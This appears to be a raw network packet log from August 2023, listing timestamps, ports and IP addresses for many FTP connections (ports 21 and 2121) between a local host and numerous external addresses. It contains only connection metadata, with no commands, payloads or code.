Aug 23, 2023 09:16:45.606537104 CEST	21	52562	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:45.613601923 CEST	52562	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:45.616380930 CEST	21	52561	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:45.616507053 CEST	2121	52532	23.29.85.10	192.168.2.3
Aug 23, 2023 09:16:45.623408079 CEST	52561	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:45.623938084 CEST	52572	2121	192.168.2.3	72.211.60.15
Aug 23, 2023 09:16:45.624804020 CEST	2121	52553	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:45.624841928 CEST	52573	21	192.168.2.3	104.197.112.253
Aug 23, 2023 09:16:45.625240088 CEST	2121	52553	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:45.625271082 CEST	52553	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:45.625446081 CEST	52553	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:45.625447989 CEST	52574	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:45.632757902 CEST	52575	2121	192.168.2.3	104.197.112.253
Aug 23, 2023 09:16:45.639543056 CEST	21	52561	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:45.640199900 CEST	21	52561	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:45.640542030 CEST	52561	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:45.647804022 CEST	52493	21	192.168.2.3	23.96.235.112
Aug 23, 2023 09:16:45.654623032 CEST	2121	52574	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:45.654819965 CEST	52574	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:45.656661034 CEST	21	52561	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:45.656970978 CEST	2121	52553	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:45.667855978 CEST	21	52522	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:45.667875051 CEST	21	52522	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:45.667887926 CEST	21	52522	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:45.668015003 CEST	52522	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:45.668617010 CEST	52522	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:45.668674946 CEST	52576	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:45.697839022 CEST	21	52563	119.218.14.42	192.168.2.3
Aug 23, 2023 09:16:45.745220900 CEST	21	52561	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:45.749202013 CEST	21	52424	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:45.750816107 CEST	2121	52564	119.218.14.42	192.168.2.3
Aug 23, 2023 09:16:45.789731979 CEST	52561	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:45.797370911 CEST	52561	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:45.810450077 CEST	21	52562	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:45.813549995 CEST	21	52561	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:45.813653946 CEST	21	52561	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:45.813671112 CEST	21	52561	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:45.820908070 CEST	52561	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:45.839142084 CEST	21	52522	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:45.841717005 CEST	21	52576	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:45.849724054 CEST	52576	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:45.859500885 CEST	2121	52574	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:45.898104906 CEST	52496	2121	192.168.2.3	23.96.235.112
Aug 23, 2023 09:16:45.929238081 CEST	52562	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:45.929238081 CEST	52497	21	192.168.2.3	220.82.137.48
Aug 23, 2023 09:16:45.929553032 CEST	52544	21	192.168.2.3	156.255.34.133
Aug 23, 2023 09:16:45.929580927 CEST	52574	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:46.026964903 CEST	21	52540	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:46.046885967 CEST	21	52576	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:46.113157988 CEST	21	52544	156.255.34.133	192.168.2.3
Aug 23, 2023 09:16:46.247983932 CEST	52540	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:46.247991085 CEST	52546	2121	192.168.2.3	156.255.34.133
Aug 23, 2023 09:16:46.247992992 CEST	52576	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:46.247991085 CEST	52563	21	192.168.2.3	119.218.14.42
Aug 23, 2023 09:16:46.351099014 CEST	52502	2121	192.168.2.3	220.82.137.48
Aug 23, 2023 09:16:46.351102114 CEST	52564	2121	192.168.2.3	119.218.14.42
Aug 23, 2023 09:16:46.444818020 CEST	52503	21	192.168.2.3	106.216.184.32
Aug 23, 2023 09:16:46.444828987 CEST	2121	52546	156.255.34.133	192.168.2.3
Aug 23, 2023 09:16:46.444871902 CEST	52510	2121	192.168.2.3	47.7.37.189
Aug 23, 2023 09:16:46.444875002 CEST	52509	21	192.168.2.3	47.7.37.189
Aug 23, 2023 09:16:46.444940090 CEST	52504	2121	192.168.2.3	106.216.184.32
Aug 23, 2023 09:16:46.444940090 CEST	52507	21	192.168.2.3	72.240.158.102
Aug 23, 2023 09:16:46.508071899 CEST	21	52563	119.218.14.42	192.168.2.3
Aug 23, 2023 09:16:46.554214001 CEST	52508	2121	192.168.2.3	72.240.158.102
Aug 23, 2023 09:16:46.557651043 CEST	52511	21	192.168.2.3	73.71.220.216
Aug 23, 2023 09:16:46.557661057 CEST	52512	2121	192.168.2.3	73.71.220.216
Aug 23, 2023 09:16:46.612210989 CEST	2121	52564	119.218.14.42	192.168.2.3
Aug 23, 2023 09:16:46.622886896 CEST	21	52424	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:46.622911930 CEST	21	52424	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:46.623007059 CEST	52424	21	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:46.623380899 CEST	21	52424	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:46.623439074 CEST	52424	21	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:46.667150974 CEST	52515	21	192.168.2.3	77.98.113.12
Aug 23, 2023 09:16:46.687678099 CEST	52562	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:46.687935114 CEST	52574	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:46.688258886 CEST	52576	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:46.688488960 CEST	52561	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:46.688827991 CEST	52540	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:46.690151930 CEST	52577	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:46.691063881 CEST	52578	21	192.168.2.3	65.101.74.221
Aug 23, 2023 09:16:46.691970110 CEST	52579	2121	192.168.2.3	65.101.74.221
Aug 23, 2023 09:16:46.695302010 CEST	52580	21	192.168.2.3	82.10.75.75
Aug 23, 2023 09:16:46.696760893 CEST	52581	2121	192.168.2.3	82.10.75.75
Aug 23, 2023 09:16:46.696918011 CEST	52582	21	192.168.2.3	200.103.10.196
Aug 23, 2023 09:16:46.696918964 CEST	52583	2121	192.168.2.3	200.103.10.196
Aug 23, 2023 09:16:46.697015047 CEST	52584	21	192.168.2.3	47.41.118.24
Aug 23, 2023 09:16:46.697065115 CEST	52585	2121	192.168.2.3	47.41.118.24
Aug 23, 2023 09:16:46.704690933 CEST	21	52561	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:46.706444979 CEST	21	52577	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:46.706513882 CEST	52577	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:46.718749046 CEST	2121	52574	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:46.718774080 CEST	2121	52574	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:46.719172955 CEST	52574	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:46.741668940 CEST	52516	2121	192.168.2.3	77.98.113.12
Aug 23, 2023 09:16:46.741671085 CEST	52521	21	192.168.2.3	82.1.240.158
Aug 23, 2023 09:16:46.741760969 CEST	52517	21	192.168.2.3	34.154.172.113
Aug 23, 2023 09:16:46.741767883 CEST	52518	2121	192.168.2.3	34.154.172.113
Aug 23, 2023 09:16:46.751878977 CEST	2121	52574	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:46.752286911 CEST	52574	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:46.760490894 CEST	21	52577	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:46.760894060 CEST	52577	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:46.777208090 CEST	21	52577	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:46.777578115 CEST	21	52577	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:46.781881094 CEST	2121	52574	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:46.782388926 CEST	2121	52574	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:46.782496929 CEST	52574	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:46.784949064 CEST	52577	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:46.785264969 CEST	52574	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:46.785994053 CEST	52586	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:46.801145077 CEST	21	52577	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:46.806242943 CEST	52523	2121	192.168.2.3	82.1.240.158
Aug 23, 2023 09:16:46.806242943 CEST	52529	21	192.168.2.3	217.226.35.49
Aug 23, 2023 09:16:46.806248903 CEST	52530	2121	192.168.2.3	217.226.35.49
Aug 23, 2023 09:16:46.806250095 CEST	52526	3333	192.168.2.3	141.95.206.77
Aug 23, 2023 09:16:46.806248903 CEST	52519	21	192.168.2.3	92.15.31.4
Aug 23, 2023 09:16:46.806272030 CEST	52520	2121	192.168.2.3	92.15.31.4
Aug 23, 2023 09:16:46.815258026 CEST	2121	52574	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:46.817425966 CEST	2121	52586	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:46.817482948 CEST	52586	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:46.858886003 CEST	21	52562	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:46.860028028 CEST	21	52562	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:46.860439062 CEST	52562	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:46.875837088 CEST	21	52577	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:46.880856991 CEST	21	52576	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:46.880892038 CEST	21	52576	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:46.884161949 CEST	21	52491	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:46.902234077 CEST	21	52540	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:46.902358055 CEST	21	52540	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:46.902374983 CEST	21	52540	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:46.902471066 CEST	52540	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:46.934192896 CEST	52524	21	192.168.2.3	113.172.125.212
Aug 23, 2023 09:16:46.934228897 CEST	52491	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:46.934237957 CEST	52528	2121	192.168.2.3	216.128.136.49
Aug 23, 2023 09:16:46.934237957 CEST	52576	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:46.934463024 CEST	52527	21	192.168.2.3	216.128.136.49
Aug 23, 2023 09:16:46.934493065 CEST	52525	2121	192.168.2.3	113.172.125.212
Aug 23, 2023 09:16:46.935167074 CEST	52577	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:46.935493946 CEST	52576	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:46.935769081 CEST	52491	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:46.936515093 CEST	52540	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:46.937309980 CEST	52587	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:46.951468945 CEST	21	52577	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:46.951714993 CEST	21	52577	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:46.951894045 CEST	52577	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:46.951910973 CEST	21	52577	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:46.951956034 CEST	52577	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:46.952811956 CEST	52588	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:46.968195915 CEST	21	52577	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:46.969043970 CEST	21	52588	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:46.969130993 CEST	52588	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:47.017710924 CEST	2121	52586	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:47.018075943 CEST	52586	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:47.025446892 CEST	52589	21	192.168.2.3	85.0.83.108
Aug 23, 2023 09:16:47.025494099 CEST	52590	2121	192.168.2.3	85.0.83.108
Aug 23, 2023 09:16:47.025577068 CEST	52591	21	192.168.2.3	1.163.166.2
Aug 23, 2023 09:16:47.032342911 CEST	21	52562	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:47.032634974 CEST	52562	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:47.038566113 CEST	52563	21	192.168.2.3	119.218.14.42
Aug 23, 2023 09:16:47.048367023 CEST	2121	52586	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:47.049706936 CEST	2121	52586	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:47.050071001 CEST	52586	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:47.083678007 CEST	2121	52586	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:47.084079027 CEST	52586	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:47.241741896 CEST	52564	2121	192.168.2.3	119.218.14.42
Aug 23, 2023 09:16:47.241765022 CEST	52533	21	192.168.2.3	77.183.54.41
Aug 23, 2023 09:16:47.241832972 CEST	52534	2121	192.168.2.3	77.183.54.41
Aug 23, 2023 09:16:47.291620970 CEST	52592	2121	192.168.2.3	1.163.166.2
Aug 23, 2023 09:16:47.291712999 CEST	52593	21	192.168.2.3	80.148.147.103
Aug 23, 2023 09:16:47.291825056 CEST	52594	2121	192.168.2.3	80.148.147.103
Aug 23, 2023 09:16:47.291872978 CEST	52595	2121	192.168.2.3	185.211.8.170
Aug 23, 2023 09:16:47.291974068 CEST	52596	21	192.168.2.3	185.211.8.170
Aug 23, 2023 09:16:47.351119995 CEST	52586	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:47.351119995 CEST	52537	2121	192.168.2.3	213.157.13.101
Aug 23, 2023 09:16:47.351130962 CEST	52538	21	192.168.2.3	213.157.13.101
Aug 23, 2023 09:16:47.430073023 CEST	52597	21	192.168.2.3	89.1.146.234
Aug 23, 2023 09:16:47.444899082 CEST	52576	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:47.444945097 CEST	52562	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:47.444945097 CEST	52541	21	192.168.2.3	91.60.195.200
Aug 23, 2023 09:16:47.444950104 CEST	52540	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:47.554543018 CEST	52470	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:47.632358074 CEST	52491	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:47.648041010 CEST	52543	2121	192.168.2.3	91.60.195.200
Aug 23, 2023 09:16:47.648880959 CEST	52598	2121	192.168.2.3	89.1.146.234
Aug 23, 2023 09:16:47.819308996 CEST	52586	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:47.901103973 CEST	52599	21	192.168.2.3	172.91.103.245
Aug 23, 2023 09:16:47.915180922 CEST	52600	2121	192.168.2.3	172.91.103.245
Aug 23, 2023 09:16:47.944958925 CEST	52576	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:47.945147991 CEST	52562	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:48.132704973 CEST	52470	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:48.242048979 CEST	52491	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:48.351217985 CEST	52555	21	192.168.2.3	151.225.165.252
Aug 23, 2023 09:16:48.351222992 CEST	52549	2121	192.168.2.3	20.29.241.241
Aug 23, 2023 09:16:48.351222992 CEST	52548	21	192.168.2.3	20.29.241.241
Aug 23, 2023 09:16:48.351383924 CEST	52558	2121	192.168.2.3	4.180.3.149
Aug 23, 2023 09:16:48.351386070 CEST	52557	21	192.168.2.3	4.180.3.149
Aug 23, 2023 09:16:48.351386070 CEST	52554	2121	192.168.2.3	45.224.204.47
Aug 23, 2023 09:16:48.352011919 CEST	52601	21	192.168.2.3	81.230.67.1
Aug 23, 2023 09:16:48.368735075 CEST	52603	2121	192.168.2.3	81.230.67.1
Aug 23, 2023 09:16:48.368736982 CEST	52602	21	192.168.2.3	211.55.102.77
Aug 23, 2023 09:16:48.368923903 CEST	52604	21	192.168.2.3	85.247.100.163
Aug 23, 2023 09:16:48.369031906 CEST	52605	2121	192.168.2.3	211.55.102.77
Aug 23, 2023 09:16:48.401801109 CEST	52606	2121	192.168.2.3	85.247.100.163
Aug 23, 2023 09:16:48.433857918 CEST	52607	21	192.168.2.3	82.77.122.109
Aug 23, 2023 09:16:48.444984913 CEST	52550	21	192.168.2.3	182.182.244.237
Aug 23, 2023 09:16:48.445272923 CEST	52560	2121	192.168.2.3	75.65.42.138
Aug 23, 2023 09:16:48.445276022 CEST	52552	21	192.168.2.3	45.224.204.47
Aug 23, 2023 09:16:48.445286036 CEST	52551	2121	192.168.2.3	182.182.244.237
Aug 23, 2023 09:16:48.445286036 CEST	52559	21	192.168.2.3	75.65.42.138
Aug 23, 2023 09:16:48.445286036 CEST	52556	2121	192.168.2.3	151.225.165.252
Aug 23, 2023 09:16:48.445302010 CEST	52540	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:48.445656061 CEST	52608	2121	192.168.2.3	82.77.122.109
Aug 23, 2023 09:16:48.523682117 CEST	52609	21	192.168.2.3	20.166.152.137
Aug 23, 2023 09:16:48.554456949 CEST	52586	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:48.554639101 CEST	52565	21	192.168.2.3	52.175.251.212
Aug 23, 2023 09:16:48.554641962 CEST	52566	2121	192.168.2.3	52.175.251.212
Aug 23, 2023 09:16:48.554644108 CEST	52569	21	192.168.2.3	71.197.11.168
Aug 23, 2023 09:16:48.554645061 CEST	52567	21	192.168.2.3	188.16.98.201
Aug 23, 2023 09:16:48.554646969 CEST	52568	2121	192.168.2.3	188.16.98.201
Aug 23, 2023 09:16:48.554646969 CEST	52570	2121	192.168.2.3	71.197.11.168
Aug 23, 2023 09:16:48.632509947 CEST	52575	2121	192.168.2.3	104.197.112.253
Aug 23, 2023 09:16:48.632513046 CEST	52572	2121	192.168.2.3	72.211.60.15
Aug 23, 2023 09:16:48.665744066 CEST	52610	2121	192.168.2.3	20.166.152.137
Aug 23, 2023 09:16:48.666109085 CEST	52611	21	192.168.2.3	184.88.230.248
Aug 23, 2023 09:16:48.666310072 CEST	52612	2121	192.168.2.3	184.88.230.248
Aug 23, 2023 09:16:48.666543961 CEST	52613	21	192.168.2.3	188.93.151.64
Aug 23, 2023 09:16:48.695993900 CEST	52614	2121	192.168.2.3	188.93.151.64
Aug 23, 2023 09:16:48.696723938 CEST	52615	21	192.168.2.3	100.36.106.240
Aug 23, 2023 09:16:48.697902918 CEST	52616	2121	192.168.2.3	100.36.106.240
Aug 23, 2023 09:16:48.720271111 CEST	52573	21	192.168.2.3	104.197.112.253
Aug 23, 2023 09:16:48.720271111 CEST	52571	21	192.168.2.3	72.211.60.15
Aug 23, 2023 09:16:48.727756023 CEST	52617	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:48.742131948 CEST	52562	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:48.945105076 CEST	52576	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:48.945175886 CEST	52470	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:49.102530956 CEST	2121	52586	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.102546930 CEST	2121	52586	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.102596998 CEST	21	52576	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:49.102612019 CEST	21	52540	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:49.102627993 CEST	21	52587	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:49.102674961 CEST	21	52491	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:49.102689981 CEST	21	52491	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:49.102704048 CEST	21	52491	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:49.102719069 CEST	21	52588	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.102734089 CEST	2121	52586	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.102766991 CEST	21	52562	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:49.102782011 CEST	21	52562	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:49.102787971 CEST	52586	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.102875948 CEST	52587	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:49.102905989 CEST	21	52563	119.218.14.42	192.168.2.3
Aug 23, 2023 09:16:49.102920055 CEST	21	52588	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.102936983 CEST	52491	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:49.102967024 CEST	2121	52586	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.102991104 CEST	52586	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.102998018 CEST	21	52562	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:49.103022099 CEST	21	52588	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.103024960 CEST	52562	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:49.103035927 CEST	21	52491	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:49.103087902 CEST	52588	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.103096008 CEST	2121	52586	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.103141069 CEST	21	52588	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.103163958 CEST	52586	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.103168011 CEST	52588	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.103168964 CEST	52562	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:49.103172064 CEST	21	52562	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:49.103180885 CEST	52491	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:49.103188038 CEST	21	52576	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:49.103202105 CEST	21	52587	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:49.103276014 CEST	21	52491	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:49.103296041 CEST	21	52470	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:49.103302956 CEST	52586	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.103354931 CEST	52588	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.103358030 CEST	52586	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.103378057 CEST	21	52576	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:49.103384972 CEST	52562	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:49.103393078 CEST	21	52470	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:49.103399992 CEST	52587	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:49.103406906 CEST	2121	52586	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.103462934 CEST	52576	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:49.103467941 CEST	52491	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:49.103481054 CEST	21	52588	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.103497028 CEST	52586	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.103506088 CEST	52470	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:49.103642941 CEST	52588	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.104558945 CEST	52491	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:49.104558945 CEST	52588	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.107569933 CEST	52576	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:49.107717037 CEST	52562	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:49.109415054 CEST	52619	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:49.109416962 CEST	52618	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.110058069 CEST	52620	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:49.113394022 CEST	52621	21	192.168.2.3	102.39.107.66
Aug 23, 2023 09:16:49.113982916 CEST	21	52593	80.148.147.103	192.168.2.3
Aug 23, 2023 09:16:49.114425898 CEST	2121	52594	80.148.147.103	192.168.2.3
Aug 23, 2023 09:16:49.118016005 CEST	52622	2121	192.168.2.3	102.39.107.66
Aug 23, 2023 09:16:49.120892048 CEST	21	52588	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.121474981 CEST	2121	52586	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.121864080 CEST	21	52588	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.122073889 CEST	2121	52586	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.122349024 CEST	52588	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.133900881 CEST	2121	52586	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.134529114 CEST	52624	2121	192.168.2.3	46.159.211.118
Aug 23, 2023 09:16:49.134531975 CEST	52623	21	192.168.2.3	46.159.211.118
Aug 23, 2023 09:16:49.138495922 CEST	2121	52618	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.138519049 CEST	21	52588	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.138616085 CEST	52618	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.144996881 CEST	21	52562	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:49.145065069 CEST	52562	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:49.196619034 CEST	2121	52618	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.197107077 CEST	52618	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.220909119 CEST	21	52588	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.221812010 CEST	52588	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.225250959 CEST	52625	21	192.168.2.3	108.183.151.157
Aug 23, 2023 09:16:49.226423025 CEST	2121	52618	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.227488041 CEST	2121	52618	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.228127956 CEST	52618	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.228811026 CEST	52626	2121	192.168.2.3	108.183.151.157
Aug 23, 2023 09:16:49.231604099 CEST	52627	21	192.168.2.3	91.69.228.39
Aug 23, 2023 09:16:49.238724947 CEST	52629	21	192.168.2.3	179.199.236.164
Aug 23, 2023 09:16:49.239025116 CEST	21	52588	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.239123106 CEST	21	52588	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.239137888 CEST	21	52588	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.239198923 CEST	52588	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.241399050 CEST	52588	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.242430925 CEST	52630	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.242891073 CEST	52631	2121	192.168.2.3	179.199.236.164
Aug 23, 2023 09:16:49.242963076 CEST	52628	2121	192.168.2.3	91.69.228.39
Aug 23, 2023 09:16:49.257502079 CEST	21	52588	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.258527994 CEST	21	52630	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.258608103 CEST	52630	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.259111881 CEST	2121	52618	95.85.215.156	192.168.2.3
